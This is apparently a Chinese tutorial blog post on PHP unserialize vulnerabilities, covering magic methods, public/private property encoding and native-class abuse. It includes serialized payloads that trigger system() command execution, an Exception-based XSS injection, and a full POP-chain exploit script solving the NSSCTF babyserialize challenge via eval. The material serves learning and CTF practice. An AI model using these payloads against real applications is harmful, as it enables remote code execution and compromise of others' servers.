序列化和反序列化

序列化serialize(),将对象转化为数组或者字符串等格式

反序列化unserialize(),将数组或字符串等格式转化成对象

为什么要进行序列化和反序列化?是因为我们在传递和保存对象时,为了保证对象的完整性和可传递性,我们将对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化漏洞

在PHP中存在一些魔术方法,可以控制优先执行什么或者初始化什么,但是如果魔术方法适用不当,就会造成反序列化漏洞,其原理是未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入等不可控后果,其中一些常见的魔术方法如下所示

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象 new 的时候会自动调用
__destruct(): //析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用 isset()或 empty()触发
__unset(): //在不可访问的属性上使用 unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被优先调用

我们接下来以几个例子来展现反序列化的安全问题,首先代码如下

<?php
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'end'.'<br>';
}
public function __construct(){
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$a = new A();
?>

我们访问一下该网站,得到的结果如下

image-20240822092633125

首先输出一个start,然后再输出一个end,所以是依次调用了__construct()__destruct()函数,我们再加上echo serialize($a),我们看看输出了什么

image-20240822093000152

这个操作就把public中的$var输出来了,我们接下来不创建对象,直接适用反序列化进行输入,如下代码

<?php
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'end'.'<br>';
}
public function __construct(){
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//$a = new A();
//echo serialize($a).'<br>';
$t = unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
?>

image-20240822093551923

我们发现只输出了一个end,证明已经创建过对象了,所以不会再触发__construct()函数,只会在代码结束的时候触发__destruct()函数

当我们再添加如下代码的时候,我们观察会有什么情况

$a = new A();
$a->test();
echo $a;

image-20240822094025002

从这里我们可以看出,当你想要调用类里面的方法的时候,你可以选择创建对应的类,然后使用相关的方法,例如$a->test();,也可以不使用对应的类,我们可以使用魔术方法,比如__toString()方法,这个方法被调用的条件就是当一个类被当作字符串输出的时候被调用,所以我们这里使用echo让其输出也可以调用对应的方法,让其输出__toString

我们再来看一个相关的例子,如下所示

class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'yyds'.'<br>';
}
}
$b=new B();
echo serialize($b);

我们试着执行一下,如下所示

image-20240822094736880

加入代码unserialize($_GET['x']);,当我们输入?x=O:1:"B":0:{}的时候也会触发该命令执行

image-20240822095007891

我们接下来展示如何利用反序列化漏洞进行任意命令执行,如下所示

class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'yyds'.'<br>';
}
}
$cc=new C();
echo serialize($cc);

我们首先先看看这串代码被序列化后是什么情况,如下所示

image-20240822095610797

我们此时加上反序列化代码以接收序列化数据

image-20240822095658130

我们此时将序列化数据中的命令任意更改,如将O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}改成O:1:"C":1:{s:3:"cmd";s:6:"whoami";},并进行传参

image-20240822095837379

实现了任意命令执行,这就是反序列化漏洞的基本原理

公私有属性

  • public(公共的),是在本类内部、外部类、子类都可以访问;
  • protect(受保护的),只有本类或子类或父类中可以访问;
  • private(私人的),只有本类内部可以使用。

当进行PHP序列化的时候,private和protected变量会引入不可见字符%00,private会变成%00类名%00属性名,protected为%00*%00属性名,由于%00是ascii码为0的字符,这个字符显示和输出看不到,但是这也是序列化后去区分公私有属性的重要标准之一,所以我们一般进行url编码,否则我们可能看不到区别。

PHP原生类

更多内容参考这一篇文章:浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)

首先我们使用下面的脚本去生成原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

image-20240824110136575

我们这里以一个本地搭建的Demo来进行原生类的演示,如下所示

首先创建一个PHP文件,代码如下

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

image-20240824150214160

由于这里有echo,所以我们可以尝试调用__toString方法,但是这里又没有toString方法,所以这里我们考虑使用原生类,我们首先先查找一下toString方法的原生类

image-20240824150615469

我们这里使用Exception进行利用,我们可以去其官方文档上找相关的用法

image-20240824151104472

我们可以使用这个的同时,将其中的some error messgae换成xss语句

image-20240824151421334

接着我们将生成的序列化语句当作参数传入,会得到想应得弹窗

image-20240824151552706

成功将反序列化漏洞和XSS漏洞结合在一起

CTF例题

我们这里以nssctf上的babyserialize为例子,如下所示

<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

像这种有很多类的一看就知道要构造pop链,构造的过程可能有点绕,需要足够的耐心与技巧

首先我们需要去寻找哪里存在任意命令执行函数或者flag字眼,通过我们观察,我们可以发现在NISA类中存在命令执行函数

image-20240822101435459

我们进行相关的标注,如下所示

image-20240822101548353

接着我们寻找如何触发__invoke()函数,这是一个魔术方法,当尝试以调用函数的方法调用一个对象时,会被自动调用,我们可以去寻找类似于$a()这种的,我们在Ilovetxw类中找到了$bb()函数

image-20240822102017606

我们的$bb来自于$su,我们进行相关标记,如下所示

image-20240822102229775

表示要传入NISA类中,接着我们要调用__toString()函数,这个函数当对象被当做字符串的时候会自动调用

image-20240822102627407

我们找到这里,这里我们可以知道应该进行如下标记

image-20240822102812161

接下来我们找哪里调用了__set()魔术方法,其用于将数据写入不可访问的属性

image-20240822103017369

我们发现这个fun参数并不存在于当前的类中,所以我们这里做如下标记

image-20240822103155973

我们接着去寻找谁调用了__call()函数,我们可以知道,在对象上下文中调用不可访问的方法时触发,我们发现nisa这个方法并不存在

image-20240822103517172

所以我们可以做如下标记

image-20240822103641056

此时我们也找到了我们的链头,因为__wakeup()函数在触发反序列化的时候就会被触发,至此整个pop链构造完成,接下来我们就开始构造代码

<?php
class NISA{
public $fun="666"; //绕过hint()函数
public $txw4ever; // 1 shell
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext; // 5 Ilovetxw
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang; // 4 four
public $su; //2 NISA

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER"; // 3 Ilovetxw
private $fun='sixsixsix'; //$fun='sixsixsix'

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$a = new NISA();
$a->txw4ever='SYSTEM("ls /");';
$b= new Ilovetxw();
$b->su =$a;
$c = new four();
$c -> a= $b;
$d = new Ilovetxw();
$d -> huang = $c;
$f = new TianXiWei();
$f->ext=$d;
echo urlencode(serialize($f));
?>

执行后得到如下结果

image-20240822105327389

接着读取flag,如下所示

image-20240822105505890

成功解出本题